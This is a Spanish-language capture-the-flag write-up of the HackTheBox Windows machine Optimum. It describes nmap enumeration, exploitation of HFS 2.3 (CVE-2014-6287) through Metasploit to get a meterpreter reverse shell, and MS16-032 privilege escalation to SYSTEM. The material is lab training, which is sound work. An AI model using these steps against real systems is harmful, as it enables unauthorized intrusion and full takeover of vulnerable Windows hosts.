unityOptimum

Dificultad: Easy - OS: Windows

chevron-right¯\_( ͡° ͜ʖ ͡°)_/¯ Machine infohashtag

El enfoque principal de este CTF radica en la enumeración temprana con herramientas como nmap, que permite identificar un servicio HTTP vulnerable: HttpFileServer (HFS) versión 2.3. Este servicio, al encontrarse desactualizado, posee una vulnerabilidad crítica de ejecución remota de comandos (RCE), identificada como CVE-2014-6287. Este tipo de fallo es particularmente útil para obtener acceso inicial a la máquina víctima, y se facilita mediante módulos públicos en frameworks como Metasploit.

Una vez obtenido el acceso remoto a la máquina mediante la explotación del servicio vulnerable, el objetivo pasa a ser la escalada de privilegios. En esta instancia, se aprovechan características del sistema operativo, como la arquitectura de 64 bits, y se realiza un análisis de los procesos en ejecución para migrar a uno compatible con el tipo de shell obtenida. Dado que la herramienta de sugerencia automática de exploits puede no ser confiable en entornos x64, se recurre a una búsqueda manual dentro del propio Metasploit mediante el módulo suggester. Finalmente, se aplica con éxito la vulnerabilidad MS16-032, relacionada con el manejo inadecuado del servicio de logon secundario, para alcanzar privilegios de sistema (NT AUTHORITY\SYSTEM).

chevron-right📌CVE-2014-6287hashtag

La vulnerabilidad CVE-2014-6287 afecta al software Rejetto HTTP File Server (HFS) en versiones anteriores a la 2.3c. Este servidor web, frecuentemente utilizado para compartir archivos en entornos Windows, contiene una falla crítica de ejecución remota de comandos (RCE) en la forma en que maneja ciertos campos de entrada manipulados en las solicitudes HTTP. El fallo radica en que el motor de scripting que HFS utiliza para interpretar macros no valida correctamente los datos proporcionados por el usuario, permitiendo que un atacante inyecte código arbitrario que se ejecuta directamente en el sistema host con los privilegios del proceso del servidor.

El ataque explota el parámetro search en una solicitud HTTP manipulada, el cual puede ser utilizado para ejecutar comandos arbitrarios mediante un payload incrustado, aprovechando la lógica interna de las macros de HFS ({.exec|...}), lo que abre la puerta a la ejecución remota sin autenticación previa. Esta vulnerabilidad es especialmente peligrosa si el servidor HFS se ejecuta con privilegios elevados (como SYSTEM), ya que el atacante podría tomar control completo del sistema objetivo.

En el contexto de pruebas de penetración o CTFs, esta vulnerabilidad puede ser explotada fácilmente mediante Metasploit con el módulo exploit/windows/http/rejetto_hfs_exec, que automatiza la inyección de la macro maliciosa y la entrega del payload.

Enumeración de puertos/servicios

┌──(root㉿kali)-[/home/kali/Documents/HTB]
└─# nmap -sCV --open -T4 -v -n 10.10.10.8
chevron-right📌 Parámetros hashtag
  • sCV:

    • -sCEjecuta scripts de detección predeterminados → Usa los scripts de nmap ubicados en /usr/share/nmap/scripts/, los cuales buscan información adicional en los puertos abiertos.

    • -sVDetección de versiones → Intenta identificar el software y su versión en los puertos abiertos.

  • -nNo resuelve nombres de dominio (reduce el tiempo del escaneo).

  • --openMuestra solo puertos abiertos → Filtra la salida para no mostrar puertos cerrados o filtrados.

  • -T4Ajusta la velocidad del escaneo → T4 es un nivel "agresivo" que acelera el escaneo, útil en redes rápidas.

  • -vModo verbose → Muestra más detalles sobre el progreso del escaneo.

Resultado:

PORT   STATE SERVICE VERSION
80/tcp open  http    HttpFileServer httpd 2.3
|_http-favicon: Unknown favicon MD5: 759792EDD4EF8E6BC2D1877D27153CB1
|_http-title: HFS /
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-server-header: HFS 2.3
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Explotación Inicial (RCE)

La versión del servicio HFS que nos muestra es bastante vieja por lo que se puede buscar algún exploit en msfconsole (Metasploit) para automatizar el ataque.

Nos arroja varios módulos que podemos probar para romper este servicio, pero el que nosotros vamos a usar es el exploit/windows/http/rejetto_hfs_exec

Comandos:

  • use 4 → seleccionamos el payload

  • options → vemos los parámetros que debemos configurar en el exploit

  • set lhost → seteamos nuestra IP

  • set rhosts → seteamos la IP del target

  • exploit → ejecuta el exploit

Si todo sale bien nos creará una sesión en meterpreter Meterpreter session 1 opened este id de la session lo usaremos más adelante.

Escalada de Privilegios

Ya conseguimos una sesión en meterpreter, ahora para escalar privilegios vamos a buscar algún otro exploit que nos sirva para este equipo. El módulo que se encarga de buscar vulns una vez que tenemos acceso al sistema es el siguiente: post/multi/recon/local_exploit_suggester

Comandos:

  • background → ponemos en segundo plano la sesión de meterpreter para usar la shell de msfconsole

  • search suggester → en msfconsole buscamos el módulo con el filtro suggester

  • use 0 → seleccionamos el módulo

  • options → abrimos el panel de configuración. Para este caso solo nos pide que configuremos la sesión del meterpreter donde tenemos la reverse shell.

  • set session 1 → seteamos con el id de la sesión anterior

  • run → ejecutamos el módulo

El exploit que nos interesa de la lista que nos arrojó el suggester es el siguiente: exploit/windows/local/ms16_032_secondary_logon_handle_privesc

Comandos

  • use exploit/windows/local/ms16_032_secondary_logon_handle_privesc → seleccionamos el exploit

  • options → abrimos el panel de configuración. Para este caso solo nos pide configurar nuestra IP y la sesión del meterpreter .

  • set lhost → seteamos nuestra IP

  • set session → seteamos con el id de la sesion anterior

  • exploit → ejecuta el exploit

Resultado: se nos abre una segunda sesión en meterpreter con una shell de NT AUTHORITY\SYSTEM

Last updated